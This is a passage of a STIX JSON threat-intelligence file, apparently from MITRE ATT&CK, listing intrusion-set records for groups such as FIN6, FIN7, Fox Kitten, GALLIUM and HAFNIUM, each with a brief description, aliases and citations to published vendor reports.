            "created": "2017-05-31T21:31:54.697Z",
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            "name": "Evilnum",
            "description": "[Evilnum](https://attack.mitre.org/groups/G0120) is a financially motivated threat group that has been active since at least 2018.(Citation: ESET EvilNum July 2020)",
            "external_references": [
                {
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                    "url": "https://attack.mitre.org/groups/G0120"
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                {
                    "source_name": "Evilnum",
                    "description": "(Citation: ESET EvilNum July 2020)"
                },
                {
                    "source_name": "ESET EvilNum July 2020",
                    "url": "https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/",
                    "description": "Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."
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                "Evilnum"
            ],
            "modified": "2021-04-27T19:55:58.323Z",
            "created": "2021-01-22T16:46:17.790Z",
            "x_mitre_version": "1.0"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "FIN10",
            "description": "[FIN10](https://attack.mitre.org/groups/G0051) is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations. (Citation: FireEye FIN10 June 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0051",
                    "external_id": "G0051"
                },
                {
                    "source_name": "FIN10",
                    "description": "(Citation: FireEye FIN10 June 2017)"
                },
                {
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf",
                    "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.",
                    "source_name": "FireEye FIN10 June 2017"
                }
            ],
            "aliases": [
                "FIN10"
            ],
            "modified": "2020-03-28T21:26:28.528Z",
            "created": "2017-12-14T16:46:06.044Z",
            "x_mitre_version": "1.2"
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                {
                    "url": "https://attack.mitre.org/groups/G0085",
                    "source_name": "mitre-attack",
                    "external_id": "G0085"
                },
                {
                    "source_name": "FIN4",
                    "description": "(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye FIN4 Stealing Insider NOV 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)"
                },
                {
                    "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.",
                    "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html",
                    "source_name": "FireEye Hacking FIN4 Dec 2014"
                },
                {
                    "description": "Dennesen, K. et al.. (2014, November 30). FIN4: Stealing Insider Information for an Advantage in Stock Trading?. Retrieved December 17, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2014/11/fin4_stealing_insid.html",
                    "source_name": "FireEye FIN4 Stealing Insider NOV 2014"
                },
                {
                    "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street?  FIN4 Likely Playing the Market. Retrieved January 15, 2019.",
                    "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html",
                    "source_name": "FireEye Hacking FIN4 Video Dec 2014"
                }
            ],
            "description": "[FIN4](https://attack.mitre.org/groups/G0085) is a financially-motivated threat group that has targeted confidential information related to the public financial market, particularly regarding healthcare and pharmaceutical companies, since at least 2013.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye FIN4 Stealing Insider NOV 2014) [FIN4](https://attack.mitre.org/groups/G0085) is unique in that they do not infect victims with typical persistent malware, but rather they focus on capturing credentials authorized to access email and other non-public correspondence.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)",
            "name": "FIN4",
            "type": "intrusion-set",
            "id": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6",
            "aliases": [
                "FIN4"
            ],
            "modified": "2020-06-23T19:52:35.625Z",
            "created": "2019-01-31T02:01:45.129Z",
            "x_mitre_version": "1.1"
        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "FIN5",
            "description": "[FIN5](https://attack.mitre.org/groups/G0053) is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian. (Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0053",
                    "external_id": "G0053"
                },
                {
                    "source_name": "FIN5",
                    "description": "(Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)"
                },
                {
                    "source_name": "FireEye Respond Webinar July 2017",
                    "description": "Scavella, T. and Rifki, A. (2017, July 20). Are you Ready to Respond? (Webinar). Retrieved October 4, 2017.",
                    "url": "https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html"
                },
                {
                    "source_name": "Mandiant FIN5 GrrCON Oct 2016",
                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
                },
                {
                    "source_name": "DarkReading FireEye FIN5 Oct 2015",
                    "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.",
                    "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?"
                }
            ],
            "aliases": [
                "FIN5"
            ],
            "modified": "2020-03-19T22:54:59.268Z",
            "created": "2018-01-16T16:13:52.465Z",
            "x_mitre_contributors": [
                "Walker Johnson"
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            "x_mitre_version": "1.1"
        },
        {
            "created": "2017-05-31T21:32:06.015Z",
            "modified": "2020-12-28T21:20:50.959Z",
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                "FIN6",
                "Magecart Group 6",
                "SKELETON SPIDER",
                "ITG08"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0037",
                    "external_id": "G0037"
                },
                {
                    "source_name": "FIN6",
                    "description": "(Citation: FireEye FIN6 April 2016)"
                },
                {
                    "source_name": "Magecart Group 6",
                    "description": "(Citation: Security Intelligence ITG08 April 2020)"
                },
                {
                    "source_name": "SKELETON SPIDER",
                    "description": "(Citation: Crowdstrike Global Threat Report Feb 2018)"
                },
                {
                    "source_name": "ITG08",
                    "description": "(Citation: Security Intelligence More Eggs Aug 2019)"
                },
                {
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf",
                    "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.",
                    "source_name": "FireEye FIN6 April 2016"
                },
                {
                    "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html",
                    "source_name": "FireEye FIN6 Apr 2019"
                },
                {
                    "source_name": "Security Intelligence ITG08 April 2020",
                    "url": "https://securityintelligence.com/posts/itg08-aka-fin6-partners-with-trickbot-gang-uses-anchor-framework/",
                    "description": "Villadsen, O. (2020, April 7). ITG08 (aka FIN6) Partners With TrickBot Gang, Uses Anchor Framework. Retrieved October 8, 2020."
                },
                {
                    "source_name": "Crowdstrike Global Threat Report Feb 2018",
                    "description": "CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.",
                    "url": "https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report"
                },
                {
                    "description": "Villadsen, O.. (2019, August 29). More_eggs, Anyone? Threat Actor ITG08 Strikes Again. Retrieved September 16, 2019.",
                    "url": "https://securityintelligence.com/posts/more_eggs-anyone-threat-actor-itg08-strikes-again/",
                    "source_name": "Security Intelligence More Eggs Aug 2019"
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            "description": "[FIN6](https://attack.mitre.org/groups/G0037) is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)",
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            "x_mitre_contributors": [
                "Center for Threat-Informed Defense (CTID)",
                "Drew Church, Splunk"
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        },
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            "id": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "FIN7",
            "description": "[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has primarily targeted the U.S. retail, restaurant, and hospitality sectors since mid-2015. They often use point-of-sale malware. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security. [FIN7](https://attack.mitre.org/groups/G0046) is sometimes referred to as [Carbanak](https://attack.mitre.org/groups/G0008) Group, but these appear to be two groups using the same [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately. (Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017) (Citation: FireEye CARBANAK June 2017) (Citation: FireEye FIN7 Aug 2018)",
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                    "url": "https://attack.mitre.org/groups/G0046",
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                },
                {
                    "source_name": "FIN7",
                    "description": "(Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017) (Citation: Morphisec FIN7 June 2017) (Citation: FireEye FIN7 Shim Databases) (Citation: FireEye FIN7 Aug 2018)"
                },
                {
                    "source_name": "FireEye FIN7 March 2017",
                    "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html",
                    "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
                    "source_name": "FireEye FIN7 April 2017"
                },
                {
                    "source_name": "FireEye CARBANAK June 2017",
                    "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html",
                    "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.",
                    "source_name": "FireEye FIN7 Aug 2018"
                },
                {
                    "source_name": "Morphisec FIN7 June 2017",
                    "description": "Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.",
                    "url": "http://blog.morphisec.com/fin7-attacks-restaurant-industry"
                },
                {
                    "source_name": "FireEye FIN7 Shim Databases",
                    "description": "Erickson, J., McWhirt, M., Palombo, D. (2017, May 3). To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence. Retrieved July 18, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html"
                }
            ],
            "aliases": [
                "FIN7"
            ],
            "modified": "2020-10-22T18:47:28.215Z",
            "created": "2017-05-31T21:32:09.460Z",
            "x_mitre_version": "1.5"
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0061",
                    "external_id": "G0061"
                },
                {
                    "source_name": "FIN8",
                    "description": "(Citation: FireEye Obfuscation June 2017)"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html",
                    "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.",
                    "source_name": "FireEye Obfuscation June 2017"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html",
                    "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.",
                    "source_name": "FireEye Fin8 May 2016"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "description": "[FIN8](https://attack.mitre.org/groups/G0061) is a financially motivated threat group known to launch tailored spearphishing campaigns targeting the retail, restaurant, and hospitality industries. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Fin8 May 2016)",
            "name": "FIN8",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826",
            "type": "intrusion-set",
            "aliases": [
                "FIN8"
            ],
            "modified": "2021-02-09T13:54:32.541Z",
            "created": "2018-04-18T17:59:24.739Z",
            "x_mitre_version": "1.1"
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        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            "external_references": [
                {
                    "external_id": "G0117",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0117"
                },
                {
                    "source_name": "UNC757",
                    "description": "(Citation: CISA AA20-259A Iran-Based Actor September 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)"
                },
                {
                    "source_name": "PIONEER KITTEN",
                    "description": "(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: CISA AA20-259A Iran-Based Actor September 2020)"
                },
                {
                    "source_name": "Parisite",
                    "description": "(Citation: Dragos PARISITE )(Citation: ClearkSky Fox Kitten February 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)"
                },
                {
                    "source_name": "ClearkSky Fox Kitten February 2020",
                    "url": "https://www.clearskysec.com/fox-kitten/",
                    "description": "ClearSky. (2020, February 16). Fox Kitten \u2013 Widespread Iranian Espionage-Offensive Campaign. Retrieved December 21, 2020."
                },
                {
                    "source_name": "CrowdStrike PIONEER KITTEN August 2020",
                    "url": "https://www.crowdstrike.com/blog/who-is-pioneer-kitten/",
                    "description": "Orleans, A. (2020, August 31). Who Is PIONEER KITTEN?. Retrieved December 21, 2020."
                },
                {
                    "source_name": "Dragos PARISITE ",
                    "url": "https://www.dragos.com/threat/parisite/",
                    "description": "Dragos. (n.d.). PARISITE. Retrieved December 21, 2020."
                },
                {
                    "source_name": "ClearSky Pay2Kitten December 2020",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf",
                    "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020."
                },
                {
                    "source_name": "CISA AA20-259A Iran-Based Actor September 2020",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a",
                    "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."
                }
            ],
            "name": "Fox Kitten",
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) is threat actor with a suspected nexus to the Iranian government that has been active since at least 2017 against entities in the Middle East, North Africa, Europe, Australia, and North America. [Fox Kitten](https://attack.mitre.org/groups/G0117) has targeted multiple industrial verticals including oil and gas, technology, government, defense, healthcare, manufacturing, and engineering.(Citation: ClearkSky Fox Kitten February 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: Dragos PARISITE )(Citation: ClearSky Pay2Kitten December 2020)",
            "type": "intrusion-set",
            "id": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee",
            "aliases": [
                "Fox Kitten",
                "UNC757",
                "PIONEER KITTEN",
                "Parisite"
            ],
            "modified": "2021-04-20T22:02:30.995Z",
            "created": "2020-12-21T21:49:47.307Z",
            "x_mitre_version": "1.0"
        },
        {
            "id": "intrusion-set--6b1b551c-d770-4f95-8cfc-3cd253c4c04e",
            "type": "intrusion-set",
            "name": "Frankenstein",
            "description": "[Frankenstein](https://attack.mitre.org/groups/G0101) is a campaign carried out between January and April 2019 by unknown threat actors. The campaign name comes from the actors' ability to piece together several unrelated components.(Citation: Talos Frankenstein June 2019)  ",
            "external_references": [
                {
                    "external_id": "G0101",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0101"
                },
                {
                    "source_name": "Talos Frankenstein June 2019",
                    "url": "https://blog.talosintelligence.com/2019/06/frankenstein-campaign.html",
                    "description": "Adamitis, D. et al. (2019, June 4). It's alive: Threat actors cobble together open-source pieces into monstrous Frankenstein campaign. Retrieved May 11, 2020."
                }
            ],
            "object_marking_refs": [
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "aliases": [
                "Frankenstein"
            ],
            "modified": "2020-05-28T00:01:09.384Z",
            "created": "2020-05-11T15:21:09.438Z",
            "x_mitre_version": "1.0"
        },
        {
            "created": "2019-07-18T20:47:50.050Z",
            "modified": "2021-04-23T01:32:21.874Z",
            "aliases": [
                "GALLIUM",
                "Operation Soft Cell"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "external_id": "G0093",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0093"
                },
                {
                    "source_name": "GALLIUM",
                    "description": "(Citation: Microsoft GALLIUM December 2019)"
                },
                {
                    "source_name": "Operation Soft Cell",
                    "description": "(Citation: Cybereason Soft Cell June 2019)"
                },
                {
                    "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.",
                    "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers",
                    "source_name": "Cybereason Soft Cell June 2019"
                },
                {
                    "source_name": "Microsoft GALLIUM December 2019",
                    "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/",
                    "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."
                }
            ],
            "name": "GALLIUM",
            "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) is a group that has been active since at least 2012, primarily targeting high-profile telecommunications networks. [GALLIUM](https://attack.mitre.org/groups/G0093) has been identified in some reporting as likely a Chinese state-sponsored group, based in part on tools used and TTPs commonly associated with Chinese threat actors.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)",
            "type": "intrusion-set",
            "id": "intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258",
            "x_mitre_version": "2.0",
            "x_mitre_contributors": [
                "Daniyal Naeem, BT Security",
                "Cybereason Nocturnus, @nocturnus"
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        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--0ea72cd5-ca30-46ba-bc04-378f701c658f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "GCMAN",
            "description": "[GCMAN](https://attack.mitre.org/groups/G0036) is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services. (Citation: Securelist GCMAN)",
            "object_marking_refs": [
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0036",
                    "external_id": "G0036"
                },
                {
                    "source_name": "GCMAN",
                    "description": "(Citation: Securelist GCMAN)"
                },
                {
                    "source_name": "Securelist GCMAN",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, February 8). APT-style bank robberies increase with Metel, GCMAN and Carbanak 2.0 attacks. Retrieved April 20, 2016.",
                    "url": "https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/"
                }
            ],
            "aliases": [
                "GCMAN"
            ],
            "modified": "2020-03-30T19:03:44.853Z",
            "created": "2017-05-31T21:32:05.611Z",
            "x_mitre_version": "1.1"
        },
        {
            "id": "intrusion-set--c77c5576-ca19-42ed-a36f-4b4486a84133",
            "type": "intrusion-set",
            "description": "[GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) is a financially motivated threat group active since at least 2019 that operates the [REvil](https://attack.mitre.org/software/S0496) Ransomware-as-a Service (RaaS). [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) provides backend infrastructure for affiliates recruited on underground forums to perpetrate high value deployments.(Citation: Secureworks REvil September 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Secureworks GOLD SOUTHFIELD)",
            "name": "GOLD SOUTHFIELD",
            "external_references": [
                {
                    "external_id": "G0115",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0115"
                },
                {
                    "source_name": "Secureworks REvil September 2019",
                    "url": "https://www.secureworks.com/research/revil-sodinokibi-ransomware",
                    "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020."
                },
                {
                    "source_name": "Secureworks GandCrab and REvil September 2019",
                    "url": "https://www.secureworks.com/blog/revil-the-gandcrab-connection",
                    "description": "Secureworks . (2019, September 24). REvil: The GandCrab Connection. Retrieved August 4, 2020."
                },
                {
                    "source_name": "Secureworks GOLD SOUTHFIELD",
                    "url": "https://www.secureworks.com/research/threat-profiles/gold-southfield",
                    "description": "Secureworks. (n.d.). GOLD SOUTHFIELD. Retrieved October 6, 2020."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "aliases": [
                "GOLD SOUTHFIELD"
            ],
            "modified": "2021-04-26T12:52:34.528Z",
            "created": "2020-09-22T19:41:27.845Z",
            "x_mitre_contributors": [
                "Thijn Bukkems, Amazon"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "id": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee",
            "type": "intrusion-set",
            "name": "Gallmaker",
            "description": "[Gallmaker](https://attack.mitre.org/groups/G0084) is a cyberespionage group that has targeted victims in the Middle East and has been active since at least December 2017. The group has mainly targeted victims in the defense, military, and government sectors.(Citation: Symantec Gallmaker Oct 2018)",
            "external_references": [
                {
                    "external_id": "G0084",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0084"
                },
                {
                    "source_name": "Gallmaker",
                    "description": "(Citation: Symantec Gallmaker Oct 2018)"
                },
                {
                    "source_name": "Symantec Gallmaker Oct 2018",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group",
                    "description": "Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "aliases": [
                "Gallmaker"
            ],
            "modified": "2020-03-30T19:04:47.798Z",
            "created": "2019-01-30T14:26:42.897Z",
            "x_mitre_version": "1.1"
        },
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0047",
                    "external_id": "G0047"
                },
                {
                    "source_name": "Gamaredon Group",
                    "description": "(Citation: Palo Alto Gamaredon Feb 2017)"
                },
                {
                    "source_name": "Palo Alto Gamaredon Feb 2017",
                    "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
                },
                {
                    "source_name": "TrendMicro Gamaredon April 2020",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/gamaredon-apt-group-use-covid-19-lure-in-campaigns/",
                    "description": "Kakara, H., Maruyama, E. (2020, April 17). Gamaredon APT Group Use Covid-19 Lure in Campaigns. Retrieved May 19, 2020."
                },
                {
                    "source_name": "ESET Gamaredon June 2020",
                    "url": "https://www.welivesecurity.com/2020/06/11/gamaredon-group-grows-its-game/",
                    "description": "Boutin, J. (2020, June 11). Gamaredon group grows its game. Retrieved June 16, 2020."
                }
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government. The name [Gamaredon Group](https://attack.mitre.org/groups/G0047) comes from a misspelling of the word \"Armageddon\", which was detected in the adversary's early campaigns.(Citation: Palo Alto Gamaredon Feb 2017)(Citation: TrendMicro Gamaredon April 2020)(Citation: ESET Gamaredon June 2020)",
            "name": "Gamaredon Group",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "aliases": [
                "Gamaredon Group"
            ],
            "modified": "2021-01-20T22:20:20.981Z",
            "created": "2017-05-31T21:32:09.849Z",
            "x_mitre_contributors": [
                "ESET",
                "Trend Micro Incorporated"
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        },
        {
            "type": "intrusion-set",
            "id": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Gorgon Group",
            "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) is a threat group consisting of members who are suspected to be Pakistan-based or have other connections to Pakistan. The group has performed a mix of criminal and targeted attacks, including campaigns against government organizations in the United Kingdom, Spain, Russia, and the United States. (Citation: Unit 42 Gorgon Group Aug 2018)",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0078",
                    "external_id": "G0078"
                },
                {
                    "source_name": "Gorgon Group",
                    "description": "(Citation: Unit 42 Gorgon Group Aug 2018)"
                },
                {
                    "source_name": "Unit 42 Gorgon Group Aug 2018",
                    "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"
                }
            ],
            "aliases": [
                "Gorgon Group"
            ],
            "modified": "2021-02-09T14:24:38.071Z",
            "created": "2018-10-17T00:14:20.652Z",
            "x_mitre_version": "1.4"
        },
        {
            "external_references": [
                {
                    "external_id": "G0043",
                    "url": "https://attack.mitre.org/groups/G0043",
                    "source_name": "mitre-attack"
                },
                {
                    "source_name": "Group5",
                    "description": "(Citation: Citizen Lab Group5)"
                },
                {
                    "url": "https://citizenlab.ca/2016/08/group5-syria/",
                    "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.",
                    "source_name": "Citizen Lab Group5"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "description": "[Group5](https://attack.mitre.org/groups/G0043) is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. [Group5](https://attack.mitre.org/groups/G0043) has used two commonly available remote access tools (RATs), [njRAT](https://attack.mitre.org/software/S0385) and [NanoCore](https://attack.mitre.org/software/S0336), as well as an Android RAT, DroidJack. (Citation: Citizen Lab Group5)",
            "name": "Group5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40",
            "type": "intrusion-set",
            "aliases": [
                "Group5"
            ],
            "modified": "2020-03-30T19:07:39.812Z",
            "created": "2017-05-31T21:32:08.304Z",
            "x_mitre_version": "1.2"
        },
        {
            "id": "intrusion-set--2688b13e-8e71-405a-9c40-0dee94bddf87",
            "type": "intrusion-set",
            "name": "HAFNIUM",
            "description": "[HAFNIUM](https://attack.mitre.org/groups/G0125) is a likely state-sponsored cyber espionage group operating out of China that has been active since at least January 2021. [HAFNIUM](https://attack.mitre.org/groups/G0125) primarily targets entities in the US across a number of industry sectors, including infectious disease researchers, law firms, higher education institutions, defense contractors, policy think tanks, and NGOs.(Citation: Microsoft HAFNIUM March 2020)(Citation: Volexity Exchange Marauder March 2021)",
            "external_references": [
                {
                    "external_id": "G0125",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/groups/G0125"
                },
                {
                    "source_name": "Operation Exchange Marauder",
                    "description": "(Citation: Volexity Exchange Marauder March 2021)"
                },
                {
                    "source_name": "Microsoft HAFNIUM March 2020",
                    "url": "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/",
                    "description": "MSTIC. (2021, March 2). HAFNIUM targeting Exchange Servers with 0-day exploits. Retrieved March 3, 2021."
                },
                {
                    "source_name": "Volexity Exchange Marauder March 2021",
                    "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/",
                    "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
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            "aliases": [
                "HAFNIUM",
                "Operation Exchange Marauder"
            ],
            "modified": "2021-04-25T23:43:56.055Z",
            "created": "2021-03-03T19:40:47.280Z",
